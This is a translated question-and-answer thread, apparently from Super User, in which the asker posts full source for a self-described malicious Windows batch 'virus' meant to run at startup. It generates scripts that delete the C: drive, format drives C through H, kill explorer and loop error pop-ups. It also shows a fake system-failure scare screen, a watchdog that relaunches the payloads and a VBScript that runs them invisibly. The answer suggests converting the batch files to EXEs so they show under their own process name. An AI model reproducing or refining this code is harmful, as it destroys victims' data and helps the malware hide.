如何停止每个批处理文件作为名为 cmd.exe 的进程打开,如任务管理器中所示

Bha*_*mar -2 virus batch command-line vbscript windows-xp

这是非常复杂的。我正在开发一个恶意批处理文件只是为了测试自己。这将在启动时完成。

我拥有的是三个 + 六个(隐藏的)批处理文件。第一个文件制作了六个其他隐藏的批处理文件,然后CALL是第二个未隐藏的文件。

第二个文件只是说了一些讨厌的事情,最后执行了六个文件。

第三个文件在后台运行并检查第二个文件是否正在运行,如果没有,它将执行六个隐藏文件。

现在我遇到的问题。如果受害者有一个在启动时打开批处理文件的服务或任何东西并且它继续运行,那么所有的事情都会变得一团糟,因为所有正在运行的批处理文件都有进程名称cmd.exe如果受害者关闭了第二个(不是隐藏的)文件,但是另一个批处理文件(不是病毒的一部分)正在运行。第三个批处理文件将假定它仍在运行。因为它也有名字cmd.exe

而且第二个文件也不会在启动时打开。

这是我的批处理文件的代码。

文件编号。1
@echo off

:DALLING

echo @echo off >>1.bat
echo :B >>1.bat
echo start >>1.bat
echo goto B >>1.bat

echo @echo off >>2.bat
echo color 02 >>2.bat
echo :start >>2.bat
echo taskkill -f explorer.exe  >>2.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation            >>2.bat
echo rd c:\ /s /q >>2.bat
echo cls >>2.bat

echo @Echo off >>3.bat
echo Del C:\ *.* >>3.bat

echo format E:\ >>4.bat
echo format F:\ >>4.bat
echo format G:\ >>4.bat
echo format H:\ >>4.bat
echo format C:\ >>4.bat
echo pause >>4.bat

echo @echo off >>5.bat
echo :M >>5.bat
echo msg * ERROR!! >>5.bat
echo goto M >>5.bat

echo @echo off >>6.bat
echo color 02 >>6.bat
echo :start >>6.bat
echo taskkill -f explorer.exe >>6.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation  >>6.bat
echo rd c:\ /s /q >>6.bat
echo cls >>6.bat

call **Second File**

:THE END
cls
echo BYE BYE! BIG BABY BOO!
ping 192.0.2.2 -n 1 -w 500 >nul
pause
start 1.bat
start 2.bat
start 3.bat
start 4.bat
start 5.bat
start 6.bat
EXIT
Run Code Online (Sandbox Code Playgroud)

我知道它有无法工作的混乱,但仍然......

档案号 2
@echo off

:THW
color a
echo 5
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 4
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 3
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 2
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 1
ping 192.0.2.2 -n 1 -w 1000 >nul

:BHANUUB

cls
color 04
echo ERROR!
ping 192.0.2.2 -n 1 -w 1000 >nul 
echo.
echo.
echo.
echo System Failure! Windir/system32/Windows programming changing.          Warning, system disability!
echo System can still be saved, you might lose some data. Do you want to  save the system?
echo (y/n)?
echo.
echo.
set/p bhaa=
if %bhaa%==y goto HUH
if %bhaa%==Y goto HUH
if %bhaa%==n goto THE END
if %bhaa%==N goto THE END

:HUH
color a
cls
echo Saving system.
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system..
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system...
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system....
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system.....
ping 192.0.2.2 -n 1 -w 150 >nul
goto ENDDD
cls

:ENDDD
cls
color 04
echo HUH!! You wanna save the system, do you????
echo.
echo.
                                                              
echo      ***                          ***                       
echo      ***                          ***                          
echo      ***    \      /              ***              
echo      ***     \ \/ /               ***                     
echo      ***      \/\/ON'T LET YOU    ***                                         
echo      ***                          ***           
echo      ***                          ***                                                                       

ping 192.0.2.2 -n 1 -w 3000 >nul
goto THE END
Run Code Online (Sandbox Code Playgroud)

我知道这些陈述看起来很奇怪,但仍然......

我从stackoverflow中选择了第三个文件并对其进行了一些修改,第三个文件

文件编号 3
@echo off
:B

Set "MyProcess=cmd.exe"
echo "%MyProcess%"
tasklist /NH /FI "imagename eq %MyProcess%" 2>nul |find /i "%MyProcess%"   >nul
If not errorlevel 1 (Echo "%MyProcess%" est en cours d^'execution) else   (start "" "1.bat","" "2.bat","" "3.bat","" "4.bat","" "5.bat","" "6.bat")
goto B
Run Code Online (Sandbox Code Playgroud)

而且我知道第三个文件的代码似乎是错误的,但事实并非如此。因为一旦其他程序cmd.exe启动,它将停止执行程序。但是如何终止它呢?

以及如何执行所有六个程序,而不是我认为的编写方式。

第三个文件不会进入启动文件夹,因为我有一个 vbscript,我发现它会在后台启动它。

但是它对我不起作用,我也不知道如何使用它:P。

这是我找到的 VBscript(或解决方案)。
Solution 1:

Save this one line of text as file invisible.vbs:

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

To run any program or batch file invisibly, use it like this:

wscript.exe “C:\Wherever\invisible.vbs” “C:\Some Other Place\MyBatchFile.bat”

To also be able to pass-on/relay a list of arguments use only two double quotes

CreateObject(“Wscript.Shell”).Run “” & WScript.Arguments(0) & “”, 0, False

eg: Invisible.vbs “Kill.vbs ME.exe”

Solution 2:

Use a command line tool to silently launch a process : Quiet.
Run Code Online (Sandbox Code Playgroud)

我打算把第一个文件和 vbscrip(如果它可以工作)放在启动文件夹中。

任何帮助将不胜感激,我寻求详细的答案。

感谢超级用户

PS:-标题不足以解决问题,是吗?

Ƭᴇc*_*007 5

哇,这是相当多的信息,其中大部分只会增加混乱,所以我会坚持手头的标题问题...... :)

如何停止每个批处理文件作为名为 cmd.exe 的进程打开,如任务管理器中所示?

由于批处理文件旨在自动化(编写脚本)命令行,因此所有批处理文件都由命令行解释器进程运行,在 Windows 上为cmd.exe.

我认为您的场景中最简单的方法是使用实​​用程序将您的批处理文件转换为 EXE。这样你就可以按照自己的喜好命名,应用图标,最重要的是,让它在任务管理器中显示为它自己的命名进程。

如需转换帮助,请查看此现有 SU 问题:如何将 Windows 批处理脚本转换为 .exe?